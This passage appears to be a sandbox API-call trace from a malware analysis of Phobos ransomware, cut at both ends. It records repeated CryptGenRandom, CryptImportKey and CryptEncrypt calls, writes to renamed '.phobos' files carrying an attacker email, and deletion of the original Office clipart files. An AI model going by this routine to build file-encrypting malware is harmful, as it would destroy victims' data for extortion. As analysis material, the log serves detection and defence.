CryptEncrypt (in: hKey=0x752ed8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x36a0, dwBufLen=0x36a0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x36a0) returned 1 [0133.948] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x36a0, lpOverlapped=0x0) returned 1 [0133.994] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753018) returned 1 [0133.994] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.994] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0133.994] CryptDestroyKey (hKey=0x753018) returned 1 [0133.994] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0133.995] CryptDestroyKey (hKey=0x752ed8) returned 1 [0133.995] CloseHandle (hObject=0x2e4) returned 1 [0133.995] CloseHandle (hObject=0x308) returned 1 [0133.995] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0133.996] SetEvent (hEvent=0x2b8) returned 1 [0133.996] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0133.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.996] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=42704) returned 1 [0133.996] CloseHandle (hObject=0x308) returned 1 [0133.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0133.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0133.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0133.996] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.996] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0133.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0133.997] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e18) returned 1 [0133.997] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0133.997] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xa6d0, lpOverlapped=0x0) returned 1 [0134.032] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xa6e0, dwBufLen=0xa6e0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xa6e0) returned 1 [0134.032] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xa6e0, lpOverlapped=0x0) returned 1 [0134.034] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0134.034] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.034] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.034] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.034] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.034] CryptDestroyKey (hKey=0x752e18) returned 1 [0134.034] CloseHandle (hObject=0x308) returned 1 [0134.034] CloseHandle (hObject=0x2e4) returned 1 [0134.034] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0134.035] SetEvent (hEvent=0x2b8) returned 1 [0134.035] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.036] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4634) returned 1 [0134.036] CloseHandle (hObject=0x2e4) returned 1 [0134.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0134.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.036] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.036] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.037] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e98) returned 1 [0134.037] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.037] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x121a, lpOverlapped=0x0) returned 1 [0134.047] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1220, dwBufLen=0x1220 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1220) returned 1 [0134.047] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1220, lpOverlapped=0x0) returned 1 [0134.048] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752a18) returned 1 [0134.048] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.048] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.048] CryptDestroyKey (hKey=0x752a18) returned 1 [0134.048] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.049] CryptDestroyKey (hKey=0x752e98) returned 1 [0134.049] CloseHandle (hObject=0x2e4) returned 1 [0134.049] CloseHandle (hObject=0x308) returned 1 [0134.049] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 1 [0134.050] SetEvent (hEvent=0x2b8) returned 1 [0134.050] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.050] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=4984) returned 1 [0134.050] CloseHandle (hObject=0x308) returned 1 [0134.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0134.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.050] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.050] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.051] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752d98) returned 1 [0134.051] CryptSetKeyParam (hKey=0x752d98, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.051] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x1378, lpOverlapped=0x0) returned 1 [0134.063] CryptEncrypt (in: hKey=0x752d98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1380, dwBufLen=0x1380 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x1380) returned 1 [0134.063] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x1380, lpOverlapped=0x0) returned 1 [0134.064] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e18) returned 1 [0134.064] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.064] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.064] CryptDestroyKey (hKey=0x752e18) returned 1 [0134.064] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.064] CryptDestroyKey (hKey=0x752d98) returned 1 [0134.064] CloseHandle (hObject=0x308) returned 1 [0134.064] CloseHandle (hObject=0x2e4) returned 1 [0134.064] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0134.065] SetEvent (hEvent=0x2b8) returned 1 [0134.065] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.066] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1160) returned 1 [0134.066] CloseHandle (hObject=0x2e4) returned 1 [0134.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0134.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.066] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.066] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.067] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x753158) returned 1 [0134.067] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.067] ReadFile (in: hFile=0x2e4, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x488, lpOverlapped=0x0) returned 1 [0134.079] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x490, dwBufLen=0x490 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x490) returned 1 [0134.079] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x490, lpOverlapped=0x0) returned 1 [0134.080] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753198) returned 1 [0134.080] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.080] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.080] CryptDestroyKey (hKey=0x753198) returned 1 [0134.080] WriteFile (in: hFile=0x308, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.080] CryptDestroyKey (hKey=0x753158) returned 1 [0134.080] CloseHandle (hObject=0x2e4) returned 1 [0134.080] CloseHandle (hObject=0x308) returned 1 [0134.080] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1 [0134.081] SetEvent (hEvent=0x2b8) returned 1 [0134.081] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.081] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=10316) returned 1 [0134.082] CloseHandle (hObject=0x308) returned 1 [0134.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0134.082] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0134.082] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.082] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0134.082] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.082] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752cd8) returned 1 [0134.082] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.082] ReadFile (in: hFile=0x308, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x284c, lpOverlapped=0x0) returned 1 [0134.139] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2850, dwBufLen=0x2850 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x2850) returned 1 [0134.139] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x2850, lpOverlapped=0x0) returned 1 [0134.141] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753158) returned 1 [0134.141] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0134.141] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0134.141] CryptDestroyKey (hKey=0x753158) returned 1 [0134.141] WriteFile (in: hFile=0x2e4, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0134.141] CryptDestroyKey (hKey=0x752cd8) returned 1 [0134.141] CloseHandle (hObject=0x308) returned 1 [0134.141] CloseHandle (hObject=0x2e4) returned 1 [0134.141] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0134.142] SetEvent (hEvent=0x2b8) returned 1 [0134.142] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0134.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0134.142] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=17924) returned 